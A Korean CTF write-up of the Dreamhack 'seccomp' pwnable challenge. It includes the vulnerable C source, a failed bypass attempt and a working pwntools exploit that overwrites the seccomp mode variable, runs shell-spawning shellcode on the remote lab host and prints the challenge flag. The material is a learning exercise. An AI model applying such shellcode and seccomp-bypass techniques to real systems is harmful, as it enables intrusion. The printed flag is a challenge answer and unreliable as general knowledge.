[Dreamhack] seccomp

Sisyphus·2022년 7월 28일
1

문제 코드

// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}
  • STRICT 모드라 read, write, exit, sigreturn 시스템 콜만 호출 가능합니다.

처음에는 강의 내용대로 syscall 번호에 0x40000000를 or 연산해서 seccomp을 우회하려고 했는데

from pwn import *

context.log_level = 'debug'

context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 18574)

data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall

mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall

path: .asciz "home/seccomp/flag"
'''

shellcode = asm(data)

p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", shellcode)

p.sendlineafter("> ", "2")

p.interactive()

익스플로잇 코드를 실행시켜보면

kali@kali  ~/seccomp  python3 exploit2.py             
[+] Opening connection to host3.dreamhack.games on port 18574: Done
/home/kali/seccomp/exploit2.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("> ", "1")
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/kali/seccomp/exploit2.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("> ", "2")
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$  

쉘이 안뜹니다.


gdb로 봐보면

gef➤  c
Continuing.

Program terminated with signal SIGKILL, Killed.
The program no longer exists.
gef➤  

SIGKILL이 발생한걸 보니 우회에 실패한거 같습니다.


다른 방법을 찾아보면

int mode = SECCOMP_MODE_STRICT;

mode 변수에서 seccomp 모드가 STRICT MODE인데, FILTER MODE로 바꿔버리면 필터링 하는 syscall이 없어서 아무 syscall이나 호출할 수 있을거 같습니다.


먼저 FILTER MODE가 몇번인지 봐보면

#include <stdio.h>
#include <linux/seccomp.h>

int mode = SECCOMP_MODE_STRICT;
int mode2 = SECCOMP_MODE_FILTER;

int main() {
        printf("STRICT: %d\n", mode);
        printf("FILTER: %d\n", mode2);

        return 0;
}
 kali@kali  ~/seccomp  ./test
STRICT: 1
FILTER: 2

2번 입니다.


다음으로 mode 변수 주소를 찾아보면

gef➤  i var mode
All variables matching regular expression "mode":

Non-debugging symbols:
0x0000000000602090  mode

mode: 0x602090


이제 익스플로잇 코드를 짜보면

from pwn import *

#context.log_level = 'debug'

context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 18574)
#p = process("./seccomp")


mode = 0x602090
shellcode = asm(shellcraft.sh())

p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode))
p.sendlineafter("value: ", "2")


p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", shellcode)

p.sendlineafter("> ", "2")

p.interactive()

익스플로잇 코드를 실행시켜보면

 kali@kali  ~/seccomp  python3 exploit.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 18574: Done
[*] Switching to interactive mode
$ ls
flag
seccomp

쉘이 떴습니다.


flag를 출력해보면

$ cat flag
DH{22b3695a64092efd8845efe7eda784a4}

0개의 댓글